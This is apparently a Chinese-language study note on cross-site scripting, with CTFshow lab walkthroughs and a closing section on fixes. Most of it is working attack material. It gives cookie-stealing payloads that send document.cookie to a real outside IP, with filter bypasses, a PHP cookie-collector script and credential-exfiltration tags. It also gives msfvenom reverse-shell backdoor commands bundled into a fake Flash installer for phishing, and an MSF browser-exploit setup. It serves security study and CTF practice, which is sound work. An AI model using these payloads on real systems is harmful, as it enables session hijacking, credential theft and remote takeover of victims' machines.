XSS产生于前端,其特征是有输出的特征,也就显示我们输入的数据。下面借鉴迪总的笔记。
#知识点:
1、XSS跨站-原理&攻击&分类等
2、XSS跨站-反射型&存储型&DOM型等
3、XSS跨站-攻击手法&劫持&盗取凭据等
4、XSS跨站-攻击项目&XSS平台&Beef-XSS
1、原理
指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。
-数据交互的地方
get、post、headers
反馈与浏览
富文本编辑器
各类标签插入和自定义
-数据输出的地方
用户资料
关键词、标签、说明
文件上传
2、分类
反射型(非持久型) //一次性的
存储型(持久型) //注入了一次就会一直存在
DOM型 //特征就是接收数据是由javascript实现的而不是php或者其他语言。
mXSS(突变型XSS)
UXSS(通用型xss)
Flash XSS
UTF-7 XSS
MHTML XSS
CSS XSS
VBScript XSS
3、危害
网络钓鱼,包括获取各类用户账号;
窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份对网站执行操作;
劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等;
强制弹出广告页面、刷流量等;
网页挂马;
进行恶意操作,如任意篡改页面信息、删除文章等;
进行大量的客户端攻击,如ddos等;
获取客户端信息,如用户的浏览历史、真实ip、开放端口等;
控制受害者机器向其他网站发起攻击;
结合其他漏洞,如csrf,实施进一步危害;
提升用户权限,包括进一步渗透网站;
传播跨站脚本蠕虫等
4、修复
见绕过课程对比参考
①过滤一些危险字符
②HTTP-only Cookie
③设置CSP(Content Security Policy)
④输入内容长度限制,转义等
防御:使用session、httponly
#MXSS:https://www.fooying.com/the-art-of-xss-1-introduction/
#UXSS全称Universal Cross-Site Scripting
UXSS是利用浏览器或者浏览器扩展漏洞来制造产生XSS并执行代码的一种攻击类型。
MICROSOFT EDGE uXSS CVE-2021-34506
Edge浏览器翻译功能导致JS语句被调用执行 //语句本身不被执行,被浏览器过滤掉,但是在特定版本的edge浏览器启用翻译后,原本被过滤的语句会正常执行
https://www.bilibili.com/video/BV1fX4y1c7rX
#Flashxss-swf引用js的xss
JPEXS Free Flash Decompiler
phpwind SWF反编译 Flashxss
ExternalInterface.call 执行JS代码
Payload:/res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert(1))}catch(e){}//
#PDFXSS-上传后直链触发
1、创建PDF,加入动作JS
2、通过文件上传获取直链
3、直链地址访问后被触发
#XSS-后台植入Cookie&表单劫持
-条件:已取得相关web权限后
1、写入代码到登录成功文件,利用beef或xss平台实时监控Cookie等凭据实现权限维持 //别人改了密码仍然有效果,因为采用的是cookie认证。只能利用没有防护的例子。在传递账号密码的时候用到javascript语句:<script src=”http://baidu.com/get.php?name=xxx&pass=xxx”></script>会把账号密码传输到url的get.php文件里。如果是用html写没问题,但是如果这句话写在php文件里,要使用变量来接受,比如:
$x='<script src=”http://baidu.com/get.php?name=xxx&pass=xxx”></script>’;
echo $x;
2、若存在同源策略或防护情况下,Cookie获取失败可采用表单劫持或数据明文传输实现 //记录管理员登陆时的账号密码提交的表单。最关键的就是:找到验证账号密码的文件,因为该文件必然会接受来自表单上传的账号和密码!
#XSS-Flash钓鱼配合MSF捆绑上线
-条件:beef上线受控后或直接钓鱼(受害者爱看SESE)
1、生成后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=6666 -f exe > flash.exe
2、下载官方文件-保证安装正常
3、压缩捆绑文件-解压提取运行
4、MSF配置监听状态
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
5、诱使受害者访问URL-语言要适当
#XSS-浏览器网马配合MSF访问上线
-条件:beef上线受控后或直接钓鱼(浏览器存在0day)
1、配置MSF生成URL
use exploit/windows/browser/ms14_064_ole_code_execution
set allowpowershellprompt true
set target 1
run
2、诱使受害者访问URL-语言要适当
接下来跟着迪总完成CTFshow的相关关卡,来理解xss
316关:
在输入框尝试<script>alert(1)</script>能够弹窗,存在跨站
反射型-直接远程调用
<script>window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie</script> //将当前窗口的cookie发送到 47.94.236.117(这是xiaodi8.com),在服务端会有接收文件,文件代码如下:
<?php
$cookie=$_GET[‘c’];
$myfile=fopen(“cookie.txt”,”w+”);
fwrite($myfile,$cookie);
fclose($myfile);
?>
下面解释一下怎么看cookie,以及怎么跳转指定网页。
检查网页,在控制台可以查看当前浏览器的cookie,如下图:

也可以查看窗口指向的地址,通过修改.href=”来实现跳转,如下图:


当管理员点击刚才构建的网址时,会将自己的cookie发送到攻击者的服务器上。
317-反射型-过滤<script>
我们可以尝试使用其他标签,比如<img>
<img src=1 onerror=window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie;>
onerror:当图片显示不正常的时候执行,学习html5的时候学习过
318 319-反射型-过滤<img>
<input onload=”window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie;”>
<svg onload=”window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie;”> //可通杀之前的关卡
比起使用错误事件,使用onload(加载事件)更加方便,因为它不需要验证其他的操作,不需要任何条件久能触发JS语句。遇到标签被过滤,只能挨个尝试其他标签,如果所有标签都失效了那就没办法了。显然做好过滤可以防止xss
320-326-反射型-过滤空格
<svg/onload=”window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie;”> //用“/”代替空格
327-存储型-无过滤 //恶意代码被保存在数据库中,一被访问就会被触发
<script>window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie</script>
328-存储型-注册插入JS //如果我们把用户名和密码改成payload,那么会不会在管理员的后台页面能够查看呢?当管理员查看时触发代码,cookie被攻击者盗取
<script>window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie</script>
329-存储型-失效凭据需1步完成所需操作 //模拟管理员一点开session就关闭浏览器,session失效。也就是说攻击者没有在有效期内利用。
<script>
$(‘.laytable-cell-1-0-1’).each(function(index,value){
if(value.innerHTML.indexOf(‘ctf’+’show’)>-1){
window.location.href=’http://47.94.236.117/get.php?c=’+value.innerHTML;
}
});
</script> //因为session获取就失效了,所以直接获取页面的源代码
330-存储型-借助修改密码重置管理员密码(GET) //需要管理员在登陆的时候,点击了带有payload的账户信息,发生了跳转,payload如下:
<script>window.location.href=’http://127.0.0.1/api/change.php?p=123′;</script>
331-存储型-借助修改密码重置管理员密码(POST) //通过正常的抓包我们其实是可以判断出发包的方式,比如当抓包观察到这是用post请求发包的时候,改为以下:
<script>$.ajax({url:’http://127.0.0.1/api/change.php’,type:’post’,data:{p:’123′}});</script> //显然如果用户名和密码在设计的时候就做好过滤,这个漏洞就不会被使用。大部分都是用post提交!
#XSS修复-过滤函数&http_only&CSP&长度限制
1、过滤一些危险字符,以及转义& < > ” ‘ 等危险字符
自定义过滤函数引用
2、HTTP-only Cookie //微软为了保护cookie。如在php配置中httponly=1或者true,全局开启。默认是没有开启的
https://www.php.cn/php-ask-457831.html
php.ini设置或代码引用
session.cookie_httponly =1
ini_set(“session.cookie_httponly”, 1);
3、设置CSP(Content Security Policy) //文件的一个安全策略,防止数据被外发。要绕过只能把他删除掉,找到源码然后删掉它
https://blog.csdn.net/a1766855068/article/details/89370320
header(“Content-Security-Policy:img-src ‘self’ “);
4、输入内容长度限制,实体转义等